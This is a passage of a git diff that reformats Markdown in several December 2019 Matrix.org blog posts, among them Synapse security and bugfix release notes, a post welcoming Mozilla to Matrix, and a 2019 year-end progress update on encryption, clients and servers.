b/content/blog/2019/12/2019-12-13-this-week-in-matrix-2019-12-13.md index 32f2a8706..bc2bf1c94 100644 --- a/content/blog/2019/12/2019-12-13-this-week-in-matrix-2019-12-13.md +++ b/content/blog/2019/12/2019-12-13-this-week-in-matrix-2019-12-13.md @@ -34,12 +34,15 @@ image = "https://matrix.org/blog/img/2019-12-13-skrolli.png" > Updates: > > **Merged MSCs** -> * _No MSCs were merged this week._ +> +> * *No MSCs were merged this week.* > > **MSCs in Final Comment Period** -> * _No MSCs in FCP._ +> +> * *No MSCs in FCP.* > > **New MSCs** +> > * [MSC2385: Disable URL Previews, alternative method](https://github.com/matrix-org/matrix-doc/pull/2385) > > Spec Core Team: @@ -93,6 +96,7 @@ Data is stored [in `/user/{}/rooms/{}/account_data/org.gnome.fractal.language`]( [Nico](https://matrix.to/#/@deepbluev7:neko.dev) said: > nheko mostly fixed bugs regarding the new file encryption this week and did some organizational stuff: +> > * We fixed a compliance issue, where Riot couldn't decrypt our media > * You can now actually see your encrypted images, when you sent them > * We fixed some tests regarding our session key export diff --git a/content/blog/2019/12/2019-12-18-synapse-1-7-1-released.md b/content/blog/2019/12/2019-12-18-synapse-1-7-1-released.md index 1ac43e052..31e7c31bd 100644 --- a/content/blog/2019/12/2019-12-18-synapse-1-7-1-released.md +++ b/content/blog/2019/12/2019-12-18-synapse-1-7-1-released.md @@ -13,7 +13,7 @@ This is a security release which fixes some problems which affected all previous Full details follow, but the most important change improves event authorization, thereby preventing the ability to add certain events to a given room erroneously. -You can get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.7.1) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. +You can get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.7.1) or any of the sources mentioned at . The changelog since 1.7.0 follows: @@ -28,4 +28,3 @@ Bugfixes -------- - Fix a bug which could cause the federation server to incorrectly return errors when handling certain obscure event graphs. ([\#6526](https://github.com/matrix-org/synapse/issues/6526), [\#6527](https://github.com/matrix-org/synapse/issues/6527)) - diff --git a/content/blog/2019/12/2019-12-19-welcoming-mozilla-to-matrix.md b/content/blog/2019/12/2019-12-19-welcoming-mozilla-to-matrix.md index 511828571..eb325d6f7 100644 --- a/content/blog/2019/12/2019-12-19-welcoming-mozilla-to-matrix.md +++ b/content/blog/2019/12/2019-12-19-welcoming-mozilla-to-matrix.md @@ -18,7 +18,7 @@ We have always been massive fans of Mozilla: they have been an excellent role mo It’s worth noting that we’ve also always been massive fans of IRC, and Matrix is unashamedly derivative of IRC in capabilities and culture, while broadening the scope to decentralised synchronisation and relaying of any kind of data. For context, the genesis of the team which eventually spawned Matrix was on a student IRC server ~20 years ago - and subsequently everything we’ve worked on (up to Matrix) was coordinated exclusively through IRC. We even used to give conference talks on how to run your project/company off IRC. I can’t really overstate how fundamental IRC is to our history - and we still keep our private IRC network online for old time’s sake (albeit bridged to Matrix). The very first protocol bridge we built for Matrix back in 2015 was for IRC - and Moznet and Freenode were the first public bridges we turned on. As of right now, `/stats u` on Moznet says that there are 4950 connected users, of which 1724 (so 35%) are actually Matrix users connected via the Moznet bridge - effectively using Matrix as a big decentralised IRC bouncer in the sky. -All of this is to say is that we deeply understand how dependent Mozilla has been on IRC over the years, and that we built Matrix to be a worthy successor which tries to capture all the best bits of IRC while providing much richer primitives (E2E encryption, openly federated decentralised chatrooms, arbitrary data sync, HTTP API, VoIP, etc). It’s also worth noting that even though Moznet is being turned off, [matrix-ircd](https://github.com/matrix-org/matrix-ircd) exists as a very promising project that exposes _any_ Matrix homeserver as an ircd - so for all you IRC die-hards, Moznet can absolutely live on in the afterlife! (matrix-ircd is still alpha right now, but it’s a relatively modest amount of Rust and PRs are *very* welcome - if you grok IRC it should be a really really fun project to contribute to). +All of this is to say is that we deeply understand how dependent Mozilla has been on IRC over the years, and that we built Matrix to be a worthy successor which tries to capture all the best bits of IRC while providing much richer primitives (E2E encryption, openly federated decentralised chatrooms, arbitrary data sync, HTTP API, VoIP, etc). It’s also worth noting that even though Moznet is being turned off, [matrix-ircd](https://github.com/matrix-org/matrix-ircd) exists as a very promising project that exposes _any_ Matrix homeserver as an ircd - so for all you IRC die-hards, Moznet can absolutely live on in the afterlife! (matrix-ircd is still alpha right now, but it’s a relatively modest amount of Rust and PRs are _very_ welcome - if you grok IRC it should be a really really fun project to contribute to). In other news, the trial in September was an amazing opportunity to gather feedback first-hand from a wide range of Mozillians as they gave Riot and Matrix a spin, often for the first time - and it was a lot of fun to take that feedback and rapidly act on it to improve the app. For instance, having direct expert feedback on our screenreader support meant that we were able to [radically improve our accessibility](https://blog.riot.im/riot-web-1-5/), and we’ve kept up the momentum on this since the trial (regardless of the outcome) with Mozilla & Riot devs hacking together with the aim of making Riot the most accessible communication app out there without exception. Huge thanks to Marco Zehe for all his guidance (and PRs), as well as the rest of [#a11y:matrix.org](https://matrix.to/#/#a11y:matrix.org)! @@ -34,5 +34,4 @@ Matthew, Amandine & the whole Matrix & Riot team :) P.S. we’ve come a long way since [Matrix was first proposed](https://discourse.mozilla.org/t/matrix-and-irc-mozillians-custom-client/2911/7) for Mozilla :D - diff --git a/content/blog/2019/12/2019-12-20-synapse-1-7-2-released.md b/content/blog/2019/12/2019-12-20-synapse-1-7-2-released.md index 464ac4ff9..074bd93c5 100644 --- a/content/blog/2019/12/2019-12-20-synapse-1-7-2-released.md +++ b/content/blog/2019/12/2019-12-20-synapse-1-7-2-released.md @@ -11,17 +11,15 @@ Hi all, We've just released Synapse 1.7.2 - a minor point release to address two regressions which snuck into 1.7.0 and 1.7.1. Sorry for the upgrade faff; hopefully we will be back to a saner release cadence shortly. Reminder that if you are on 1.7.0 or earlier you should upgrade asap as 1.7.1 contained security fixes. -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.7.2) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.7.2) or any of the sources mentioned at . The changelog since 1.7.1 is: -Synapse 1.7.2 (2019-12-20) -========================== +## Synapse 1.7.2 (2019-12-20) This release fixes some regressions introduced in Synapse 1.7.0 and 1.7.1. -Bugfixes --------- +### Bugfixes - Fix a regression introduced in Synapse 1.7.1 which caused errors when attempting to backfill rooms over federation. ([\#6576](https://github.com/matrix-org/synapse/issues/6576)) - Fix a bug introduced in Synapse 1.7.0 which caused an error on startup when upgrading from versions before 1.3.0. ([\#6578](https://github.com/matrix-org/synapse/issues/6578)) diff --git a/content/blog/2019/12/2019-12-20-this-week-in-matrix-2019-12-20.md b/content/blog/2019/12/2019-12-20-this-week-in-matrix-2019-12-20.md index 5eabbd642..6da8ace8d 100644 --- a/content/blog/2019/12/2019-12-20-this-week-in-matrix-2019-12-20.md +++ b/content/blog/2019/12/2019-12-20-this-week-in-matrix-2019-12-20.md @@ -29,7 +29,7 @@ You may well have read about it by now, but Mozilla (purveyor of popular web bro > The [anonymized raw data](https://dsn.tm.kit.edu/matrix/traveller/data.html) was published in conjunction. > > [All related resources](https://dsn.tm.kit.edu/matrix/traveller/) - +> >

    pic.twitter.com/NYxbYllQ9F

    — Middleware2019 (@middleware2019) December 12, 2019 ### Accessibility in Riot/Matrix diff --git a/content/blog/2019/12/2019-12-24-the-2019-matrix-holiday-update.md b/content/blog/2019/12/2019-12-24-the-2019-matrix-holiday-update.md index accef26f9..66968631e 100644 --- a/content/blog/2019/12/2019-12-24-the-2019-matrix-holiday-update.md +++ b/content/blog/2019/12/2019-12-24-the-2019-matrix-holiday-update.md @@ -17,28 +17,28 @@ That said, it’s hard to know where to start - Matrix accelerated more than eve So, our immediate priorities for 2019 were: -* _r0 spec releases across the board (aka Matrix 1.0)_ -* _Implementing them in Synapse_ +* _r0 spec releases across the board (aka Matrix 1.0)_ +* _Implementing them in Synapse_ ✅ Well, unless you’ve been floating in a sensory deprivation tank for the last year, hopefully you spotted that Matrix (as a protocol) finally exited beta - starting off with the announcement at FOSDEM in February of the [first stable release of the Server-Server API](https://matrix.org/blog/2019/02/04/matrix-at-fosdem-2019/), alongside the Synapse 0.99.x series as we began the process of migrating to the 1.0 APIs. Specifically this meant killing off self-signed certificates, adding .well-known server discovery and implementing room version semantics so we could upgrade the underlying room version algorithm to fix the residual flaws. This culminated in June with the [official release of Matrix 1.0](https://matrix.org/blog/2019/06/11/introducing-matrix-1-0-and-the-matrix-org-foundation/) - now including the remaining APIs and a stable release of Synapse 1.0. The emphasis was on addressing all the main pre-1.0 design flaws rather than adding features or performance, but with 1.0 out the door at last we’ve been able to make progress there too. -* _Landing the Riot redesign_ +* _Landing the Riot redesign_ ✅ The full redesign of Riot’s UI on Web/Desktop landed shortly after FOSDEM in Feb with [The Big 1.0](https://medium.com/@RiotChat/the-big-1-0-68fa7c6050be). Cosmetically we got most of the new look & feel in place, and have had very positive feedback overall - although some of the UX thinkos of the old app remain and coming up on the radar for fixing. -* _Finalising the Matrix.org Foundation_ +* _Finalising the Matrix.org Foundation_ ✅ This happened too, coincident with releasing Matrix 1.0 in June - read all about it at [https://matrix.org/foundation](https://matrix.org/foundation). So far the governance and legal infrastructure the Foundation provides has helped the project significantly, and while it was a mammoth task to organise, we’re very glad it’s here! Huge thanks go out to Jon, Ross and Jutta for agreeing to join the foundation as Guardians - they have been excellent in patiently listening to the various dramas of the year and ensuring Matrix’s neutrality and that we keep an even keel. -* _Landing all the new E2E encryption UX and features_ +* _Landing all the new E2E encryption UX and features_ The good news on E2E encryption is that we’ve been making solid progress throughout the year - the bad news is that we are still yet to turn it on by default. Progress updates for the various pieces of the puzzle are as follows: - * ✅ The final UX is pretty much locked down (after several iterations as we try to tread the balance between trustworthiness and security) - here’s a [sneak preview](https://www.figma.com/file/wwqBo5oAFfk8XKmtd2YaIs/Cross-signing) of what we’re aiming at. +* ✅ The final UX is pretty much locked down (after several iterations as we try to tread the balance between trustworthiness and security) - here’s a [sneak preview](https://www.figma.com/file/wwqBo5oAFfk8XKmtd2YaIs/Cross-signing) of what we’re aiming at. - * 🏗 Cross-signing is the single biggest remaining piece of work in progress - letting users attest to the trustworthiness of their own devices, so you only ever have to trust a given user once rather than trusting all their devices individually. We gave a [very early demo](https://youtu.be/C2eE7rCUKlE?t=2974) of an experimental implementation back at FOSDEM in Feb, inspired by some of the initial spec proposal at [MSC1680](https://github.com/uhoreg/matrix-doc/blob/cross-signing/proposals/1680-cross-signing.md) (MSC = Matrix Spec Change, our [process for evolving Matrix](https://matrix.org/docs/spec/proposals)). +* 🏗 Cross-signing is the single biggest remaining piece of work in progress - letting users attest to the trustworthiness of their own devices, so you only ever have to trust a given user once rather than trusting all their devices individually. We gave a [very early demo](https://youtu.be/C2eE7rCUKlE?t=2974) of an experimental implementation back at FOSDEM in Feb, inspired by some of the initial spec proposal at [MSC1680](https://github.com/uhoreg/matrix-doc/blob/cross-signing/proposals/1680-cross-signing.md) (MSC = Matrix Spec Change, our [process for evolving Matrix](https://matrix.org/docs/spec/proposals)). However, having played with it a bit, MSC1680 turned out to be too generic and complicated (it worked by the user signing a device with any other of their devices, building a twisted maze of which device vouched for which) - and we replaced it with [MSC1756](https://github.com/matrix-org/matrix-doc/pull/1756), which shifts the model to be the simpler “the user has a key, which they use to sign their devices”. However, this in turn requires more infrastructure - you need somewhere secure to store your signing key, which prompted [MSC1946](https://github.com/uhoreg/matrix-doc/blob/ssss/proposals/1946-secure_server-side_storage.md) - Secure Secret Storage & Sharing (SSSS): the ability to sync your signing key between devices by storing it (encrypted, of course) on the server. @@ -48,98 +48,98 @@ The good news on E2E encryption is that we’ve been making solid progress throu We were hoping to get cross-signing ready for the end of 2019, but in practice we’re now sprinting to get it done by FOSDEM 2020 in Feb - not least because we have a main-stage talk proposed to tell everyone how we landed it and turned on E2E by default... ;) - * ✅ Support for non-E2E clients. The last thing we want is to make it impossible to write a simple Matrix client, or to suddenly excommunicate (hah) all the existing Matrix bots & bridges which haven’t implemented E2E. To this end, poljar created [pantalaimon](https://github.com/matrix-org/pantalaimon) - our very own Matrix daemon, which can sit in the background and offload all your E2EE from your Matrix client by acting as a transparent Matrix proxy which magically encrypts everything. Built on matrix-nio and asyncio python3, We use it in production today for running various bots and it works excellently. +* ✅ Support for non-E2E clients. The last thing we want is to make it impossible to write a simple Matrix client, or to suddenly excommunicate (hah) all the existing Matrix bots & bridges which haven’t implemented E2E. To this end, poljar created [pantalaimon](https://github.com/matrix-org/pantalaimon) - our very own Matrix daemon, which can sit in the background and offload all your E2EE from your Matrix client by acting as a transparent Matrix proxy which magically encrypts everything. Built on matrix-nio and asyncio python3, We use it in production today for running various bots and it works excellently. - * ✅ Support for search in E2E rooms. Hot off the heels of pantalaimon’s success, poljar also created [seshat](https://github.com/matrix-org/seshat) - a native library for clientside indexing encrypted Matrix events written in Rust, powered by the [tantivy](https://github.com/tantivy-search/tantivy) full-text search engine. (pantalaimon also has support for indexing via tantivy, which involved contributing python bindings for tantivy, but we ended up going with Rust so we could embed it natively in as many Matrix clients as possible). Seshat is particularly cool in that the indexes themselves are encrypted in on disk - and in future could even be synced between clients using [SSSS](https://github.com/uhoreg/matrix-doc/blob/ssss/proposals/1946-secure_server-side_storage.md) so you don’t have to reindex your messages every time you log in on a new device. Seshat is implemented behind a labs flag on Riot/Desktop and it will ship as soon Riot/Desktop’s build pipeline is fully updated to support native modules (which will also unlock other goodies, such as using faster/safer native E2E primitives, safer key storage, and Discord-style keyboard-shortcuts for VoIP). +* ✅ Support for search in E2E rooms. Hot off the heels of pantalaimon’s success, poljar also created [seshat](https://github.com/matrix-org/seshat) - a native library for clientside indexing encrypted Matrix events written in Rust, powered by the [tantivy](https://github.com/tantivy-search/tantivy) full-text search engine. (pantalaimon also has support for indexing via tantivy, which involved contributing python bindings for tantivy, but we ended up going with Rust so we could embed it natively in as many Matrix clients as possible). Seshat is particularly cool in that the indexes themselves are encrypted in on disk - and in future could even be synced between clients using [SSSS](https://github.com/uhoreg/matrix-doc/blob/ssss/proposals/1946-secure_server-side_storage.md) so you don’t have to reindex your messages every time you log in on a new device. Seshat is implemented behind a labs flag on Riot/Desktop and it will ship as soon Riot/Desktop’s build pipeline is fully updated to support native modules (which will also unlock other goodies, such as using faster/safer native E2E primitives, safer key storage, and Discord-style keyboard-shortcuts for VoIP). - * 🏗 Fixing “unable to decrypt” errors. We’ve done big sprint over the last month or so to track down the final straggling causes of unable to decrypt errors. Some of these are legitimate bugs (e.g. [https://github.com/matrix-org/synapse/issues/6399](https://github.com/matrix-org/synapse/issues/6399)) - but many are artefacts of the current architecture: for instance, if the sender has no way to know your device was in the room when it encrypted a message, you won’t be able to decrypt. We’re addressing this by improving better error messages and feedback so the user isn’t surprised by what’s going on (aiming for Jan) - and in future we’ll have to revisit E2E’s fundamentals to ensure that it’s impossible to receive a message without also receiving the key to decrypt it. +* 🏗 Fixing “unable to decrypt” errors. We’ve done big sprint over the last month or so to track down the final straggling causes of unable to decrypt errors. Some of these are legitimate bugs (e.g. [https://github.com/matrix-org/synapse/issues/6399](https://github.com/matrix-org/synapse/issues/6399)) - but many are artefacts of the current architecture: for instance, if the sender has no way to know your device was in the room when it encrypted a message, you won’t be able to decrypt. We’re addressing this by improving better error messages and feedback so the user isn’t surprised by what’s going on (aiming for Jan) - and in future we’ll have to revisit E2E’s fundamentals to ensure that it’s impossible to receive a message without also receiving the key to decrypt it. - * ✅ Support for push notifications in E2E rooms. This is kinda solved right now by having all clients get (silently) pushed whenever they receive a message in an E2E room with push enabled, and relying on the client to be woken up by the push in order to decrypt the message in order to display the push notification. However, this is battery intensive, and we could probably do better - but this isn’t a blocker for going live. +* ✅ Support for push notifications in E2E rooms. This is kinda solved right now by having all clients get (silently) pushed whenever they receive a message in an E2E room with push enabled, and relying on the client to be woken up by the push in order to decrypt the message in order to display the push notification. However, this is battery intensive, and we could probably do better - but this isn’t a blocker for going live. - * 🏗 Support for FilePanel and NotifPanel in E2E rooms. Seshat should fix this by indexing all your messages (and so tracking whether they contain pushes or files, and populating up your local view of your file & notif panels respectively) - just need to ensure it’s hooked up. +* 🏗 Support for FilePanel and NotifPanel in E2E rooms. Seshat should fix this by indexing all your messages (and so tracking whether they contain pushes or files, and populating up your local view of your file & notif panels respectively) - just need to ensure it’s hooked up. -...and that’s where things stand right now on E2E by default. We’ll start turning it on by default for private rooms as soon as the UX has landed (probably starting first with new DMs and private rooms, prompting the user in case they want to opt out - and then migrating existing ones). It’s worth noting that we have poured a *lot* of work into E2E encryption now - often to the detriment of the rest of Matrix; our rich featureset and decentralisation has combined to make this a tough nut to crack, but the end is in sight. Thanks to all for your patience and support while we’ve been working through this. +...and that’s where things stand right now on E2E by default. We’ll start turning it on by default for private rooms as soon as the UX has landed (probably starting first with new DMs and private rooms, prompting the user in case they want to opt out - and then migrating existing ones). It’s worth noting that we have poured a _lot_ of work into E2E encryption now - often to the detriment of the rest of Matrix; our rich featureset and decentralisation has combined to make this a tough nut to crack, but the end is in sight. Thanks to all for your patience and support while we’ve been working through this. That takes us to the end of the stuff we planned to prioritise in 2019 - but what about the more speculative medium-term stuff which was on the menu this time last year? #### 2019: the medium-term priorities -* _Reworking and improving Communities/Groups._ +* _Reworking and improving Communities/Groups._ -We have some really promising UX work and a fairly early spec proposal ([MSC1772](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1772/proposals/1772-groups-as-rooms.md)), but work in earnest hasn’t kicked off yet. It’s going to be one of the next big projects though. +We have some really promising UX work and a fairly early spec proposal ([MSC1772](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1772/proposals/1772-groups-as-rooms.md)), but work in earnest hasn’t kicked off yet. It’s going to be one of the next big projects though. -* _Reactions._ +* _Reactions._ ✅ Riot now has Reactions! 🎉🎉🎉 The only remaining work is to finish the remaining rough edges of the spec proposal ([MSC1849](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1849/proposals/1849-aggregations.md)) and actually land them in the Matrix spec proper. -* _E2E-encrypted Search_ +* _E2E-encrypted Search_ ✅ [Seshat](https://github.com/matrix-org/seshat) exists! (see above) -* _Filtering. (empowering users to filter out rooms & content they're not interested in)._ +* _Filtering. (empowering users to filter out rooms & content they're not interested in)._ ✅ We’ve ended up thinking lots in 2019 about empowering users to filter content. The main impetus has been to ensure that users and communities can filter out abuse (on their own terms), and also to start building infrastructure which can be used for folks to share their own filters. Over the last few months, this has started to take concrete form - with the arrival of [MSC2313](https://github.com/matrix-org/matrix-doc/blob/msc2313/proposals/2313-moderation-policy-rooms.md) “Moderation policies as rooms”, and [Mjolnir](https://github.com/matrix-org/mjolnir) - a bot you can run to enforce moderation policies on your rooms. It’s all quite early, but we expect a lot more work in this space over the coming year (and it’s wryly amusing that [Twitter has also woken up](https://twitter.com/jack/status/1204766078468911106) to it being an interesting problem needing to be solved.) -* _Extensible events_ +* _Extensible events_ Sorry folks; no progress here since a flurry of spec work ([MSC1767](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1767/proposals/1767-extensible-events.md)) back in Jan 2019. The good news is that the spec proposal seems to be relatively well received. The bad news is that we haven’t had bandwidth to finish reviewing it, implementing it and migrating it anywhere. It blocks a bunch of really useful stuff in Matrix, and there are users willing to pay for it (via New Vector) - we’ll get to it as soon as we can. -* _Editable messages._ +* _Editable messages._ ✅ These landed too and are a thing of joy! Just need to merge [MSC1849](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1849/proposals/1849-aggregations.md). -* _Extensible Profiles (we've actually been experimenting with this already)._ +* _Extensible Profiles (we've actually been experimenting with this already)._ Similar to Extensible Events, there was a flurry of spec work ([MSC1769](https://github.com/matrix-org/matrix-doc/blob/matthew/msc1769/proposals/1769-extensible-profiles-as-rooms.md)) back in Jan, but little progress since. This will also unlock a lot of really useful features - e.g. custom status, custom profile data, social timeline rooms etc. We’ll likely get to it shortly after communities work. -* _Threading._ +* _Threading._ 🏗 So we actually landed label-based threading ([MSC2326](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2326/proposals/2326-label-based-filtering.md)) in Synapse 1.6, but it’s not exposed in Riot yet (or elsewhere). It doesn’t have quite the same semantics as Slack-style threading; the idea is to filter down your room based on which messages are tagged as part of a given topic. However, it’s very powerful, and it’ll be fun to add it to Riot at some point in 2020. Meanwhile, better-than-label-based-threading is also on the cards, although slightly lower priority than some of the other stuff in this section. -* _Landing the Riot/Android rewrite_ +* _Landing the Riot/Android rewrite_ 🏗 As you probably know, RiotX is a full rewrite of Riot/Android in Kotlin using modern AndroidX and Jetpack idioms - and it entered beta [back in June](https://medium.com/@RiotChat/introducing-the-riotx-beta-for-android-b17952e8f771). Since then we’ve been frantically working away on both playing catch-up with the old app… as well as implementing all the new stuff (reactions, edits, new E2E verification, cross-signing etc) which makes no sense to waste time adding in Riot/Android, but also pushes out the timeline on RiotX itself. We’re currently sprinting to try to get RiotX ready for FOSDEM in February - hopefully users will have felt the app starting to really stabilise over the last few months (it even supports breadcrumbs now!) -* _Considering whether to do a similar overhaul of Riot/iOS_ - -🏗 It’s cheating a bit, but Manu (the lead developer on Riot/iOS and delivery manager of Riot/Mobile in general) has been hacking on an entirely new client called [Messagerie](https://github.com/manuroe/messagerie) in his spare time, using SwiftUI. The idea of throwing away the whole UI layer and replacing it with the latest best practices sounds suspiciously like RiotX - it’ll be interesting to see how RiotX/iOS takes shape next year! +* _Considering whether to do a similar overhaul of Riot/iOS_ -* _Scaling synapse via sharding the master process_ +🏗 It’s cheating a bit, but Manu (the lead developer on Riot/iOS and delivery manager of Riot/Mobile in general) has been hacking on an entirely new client called [Messagerie](https://github.com/manuroe/messagerie) in his spare time, using SwiftUI. The idea of throwing away the whole UI layer and replacing it with the latest best practices sounds suspiciously like RiotX - it’ll be interesting to see how RiotX/iOS takes shape next year! -We ended up bottlenecked on IO rather than CPU in 2019, and as a result we worked on splitting synapse’s database across multiple database instances on a per-table granularity. However, the master process itself doesn’t shard yet; so we’re now bottlenecked on CPU and need to get on and do this asap to unlock further Synapse scalability for mega-monolithic-deployments like the Matrix.org homeserver. +* _Scaling synapse via sharding the master process_ -* _Bridge UI for discovery of users/rooms and bridge status_ - -🏗 There’s been a bit of movement in the last few weeks on this, but nothing concrete yet. +We ended up bottlenecked on IO rather than CPU in 2019, and as a result we worked on splitting synapse’s database across multiple database instances on a per-table granularity. However, the master process itself doesn’t shard yet; so we’re now bottlenecked on CPU and need to get on and do this asap to unlock further Synapse scalability for mega-monolithic-deployments like the Matrix.org homeserver. + +* _Bridge UI for discovery of users/rooms and bridge status_ + +🏗 There’s been a bit of movement in the last few weeks on this, but nothing concrete yet. + +* _Bandwidth-efficient transports_ -* _Bandwidth-efficient transports_ - ✅ We finished the 100bps CoAP transport proof-of-concept for Matrix, demoed it at FOSDEM and [shipped it in March](https://matrix.org/blog/2019/03/12/breaking-the-100-bps-barrier-with-matrix-meshsim-coap-proxy). However, we haven’t progressed it much further; it really needs a corporate sponsor who wants to fund work to finish it off and bake it properly into Matrix. **If you’re interested, please [get in touch](https://matrix.to/#/@matthew:matrix.org).** -* _Bandwidth-efficient routing_ - -🏗 We also did a bunch of related work on bandwidth-efficient routing, which sadly hasn’t been released yet. However, it’s interesting to note that the [Decentralized Systems and Network Services Research Group](https://dsn.tm.kit.edu/english/) at Karlsruhe Institute of Technology’s Institute of Telematics has been looking into this space too - c.f. their [A Glimpse of the Matrix](https://publikationen.bibliothek.kit.edu/1000100364) paper, which ponders very similar problems. +* _Bandwidth-efficient routing_ + +🏗 We also did a bunch of related work on bandwidth-efficient routing, which sadly hasn’t been released yet. However, it’s interesting to note that the [Decentralized Systems and Network Services Research Group](https://dsn.tm.kit.edu/english/) at Karlsruhe Institute of Technology’s Institute of Telematics has been looking into this space too - c.f. their [A Glimpse of the Matrix](https://publikationen.bibliothek.kit.edu/1000100364) paper, which ponders very similar problems. + +* _Getting Dendrite to production._ + +🏗 Dendrite work has been bubbling away in the background thanks to Anoa, Brendan, cnly (our GSoC dendrite contributor) and others. Inevitably most of our bandwidth has gone into getting Synapse to 1.0 and making sure it’s fit for purpose, but we want and need to keep Dendrite alive for next-generation purposes - and in fact New Vector is hiring new people to work on it in 2020. + +* _Inline widgets (polls etc)_ + +🏗 We have an MSC ([MSC2192](https://github.com/matrix-org/matrix-doc/pull/2192)), but not an implementation. -* _Getting Dendrite to production._ - -🏗 Dendrite work has been bubbling away in the background thanks to Anoa, Brendan, cnly (our GSoC dendrite contributor) and others. Inevitably most of our bandwidth has gone into getting Synapse to 1.0 and making sure it’s fit for purpose, but we want and need to keep Dendrite alive for next-generation purposes - and in fact New Vector is hiring new people to work on it in 2020. +* _Improving VoIP over Matrix._ -* _Inline widgets (polls etc)_ - -🏗 We have an MSC ([MSC2192](https://github.com/matrix-org/matrix-doc/pull/2192)), but not an implementation. +Very little progress here, frustratingly. Jitsi has been upgraded and conference calls should kick ass these days (let us know if they don’t), but 1:1 needs a lot of love. Hopefully we’ll get to it in 2020. -* _Improving VoIP over Matrix._ - -Very little progress here, frustratingly. Jitsi has been upgraded and conference calls should kick ass these days (let us know if they don’t), but 1:1 needs a lot of love. Hopefully we’ll get to it in 2020. +* _Adding more bridges, and improving the current ones._ -* _Adding more bridges, and improving the current ones._ - -Lots of bridging progress in 2020 - all new puppeting Slack support; huge fixes to the IRC bridge (including shifting to Postgres at last); Bifrost (the XMPP bridge) progressed too, and there’s been loads of community bridging work around WhatsApp, Discord and others. +Lots of bridging progress in 2020 - all new puppeting Slack support; huge fixes to the IRC bridge (including shifting to Postgres at last); Bifrost (the XMPP bridge) progressed too, and there’s been loads of community bridging work around WhatsApp, Discord and others. -* _Account portability_ -* _Replacing MXIDs with public keys_ +* _Account portability_ +* _Replacing MXIDs with public keys_ We’ve just started looking at implementing these seriously via [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) (as of last week) - expect progress in 2020. @@ -149,32 +149,32 @@ So that sums up progress on the medium term menu - as you can see, a bunch actua Finally, on the longer term radar: -* _Shared-code cross-platform client SDKs (e.g. sharing a native core library between matrix-{js,ios,android}-sdk)_ - -No progress here. Instead, all three main platforms have continued to write and maintain their own platform-specific SDKs for now. [Seshat](https://github.com/matrix-org/seshat) however will be the first piece of native rust code shared across all 3 platforms - let’s see how that goes first... +* _Shared-code cross-platform client SDKs (e.g. sharing a native core library between matrix-{js,ios,android}-sdk)_ -* _Matrix daemons (e.g. running an always-on client as a background process in your OS which apps can connect to via a lightweight CS API)_ +No progress here. Instead, all three main platforms have continued to write and maintain their own platform-specific SDKs for now. [Seshat](https://github.com/matrix-org/seshat) however will be the first piece of native rust code shared across all 3 platforms - let’s see how that goes first... + +* _Matrix daemons (e.g. running an always-on client as a background process in your OS which apps can connect to via a lightweight CS API)_ ✅ [Pantalaimon](https://github.com/matrix-org/pantalaimon) lives! -* _Push notifications via Matrix (using a daemon-style architecture)_ - -No progress here, unless you count the CoAP low-bandwidth work. However, Bubu (also Riot/Android Fdroid maintainer) has been working on a project called [OpenPush](https://bubu1.eu/openpush/) which looks to help in this space (albeit not built on Matrix, but could be used by Matrix). There are a few other related projects. If someone wants to build this on top of Matrix + CoAP please get in touch asap! +* _Push notifications via Matrix (using a daemon-style architecture)_ + +No progress here, unless you count the CoAP low-bandwidth work. However, Bubu (also Riot/Android Fdroid maintainer) has been working on a project called [OpenPush](https://bubu1.eu/openpush/) which looks to help in this space (albeit not built on Matrix, but could be used by Matrix). There are a few other related projects. If someone wants to build this on top of Matrix + CoAP please get in touch asap! + +* _Clientside homeservers (i.e. p2p matrix) - e.g. compiling Dendrite to WASM and running it in a service worker._ -* _Clientside homeservers (i.e. p2p matrix) - e.g. compiling Dendrite to WASM and running it in a service worker._ - 🏗 Work is actually happening on this currently. Dendrite has successfully compiled to WASM and runs, and we’ve had it (almost) talking HTTP tunnelled over libp2p as part of P2P Matrix experiments. In 2020 we’re going to be investing a lot in P2P Matrix - to give users full control of their communication without even having to run a server, and also to simplify onboarding and account portability enormously. We have a talk about this accepted for FOSDEM 2020 ([The Path to P2P Matrix](https://fosdem.org/2020/schedule/event/dip_p2p_matrix/)) and we’re actively (frantically) hacking on Dendrite to make it happen - keep an eye out for how things develop! -* _Experimenting with MLS for E2E Encryption_ - -🏗 Now that E2E-by-default has entered the “it works! let’s land it in Riot asap” phase, Uhoreg has had some time to start thinking about the longer term future of encryption in Matrix. [MLS (Messaging Layer Security)](https://datatracker.ietf.org/wg/mls/charter/) is the IETF’s initiative to define a standard mechanism for end-to-end-encrypted group chats, which has some major algorithmic improvements over Olm/Megolm and the Double Ratchet Algorithm as used by Signal. The catch is that it doesn’t work at all well with decentralisation - however, we’ve been [working with them](https://mailarchive.ietf.org/arch/msg/mls/MnLJkbJ_Mwe8Oz0Ll6delGJLPz4) to try to ensure MLS can work in a decentralised world. More recently, uhoreg has had a chance to think a lot more about this and we’re working on a proposal for Decentralised MLS which builds on plain MLS while also giving the semantics needed for Matrix. It’s all very experimental at this point (and the proof-of-concept implementation is written in [Julia](https://julialang.org/)!) - but looks promising. We’ll share more asap, and will certainly be investing more time in this in 2020.. +* _Experimenting with MLS for E2E Encryption_ + +🏗 Now that E2E-by-default has entered the “it works! let’s land it in Riot asap” phase, Uhoreg has had some time to start thinking about the longer term future of encryption in Matrix. [MLS (Messaging Layer Security)](https://datatracker.ietf.org/wg/mls/charter/) is the IETF’s initiative to define a standard mechanism for end-to-end-encrypted group chats, which has some major algorithmic improvements over Olm/Megolm and the Double Ratchet Algorithm as used by Signal. The catch is that it doesn’t work at all well with decentralisation - however, we’ve been [working with them](https://mailarchive.ietf.org/arch/msg/mls/MnLJkbJ_Mwe8Oz0Ll6delGJLPz4) to try to ensure MLS can work in a decentralised world. More recently, uhoreg has had a chance to 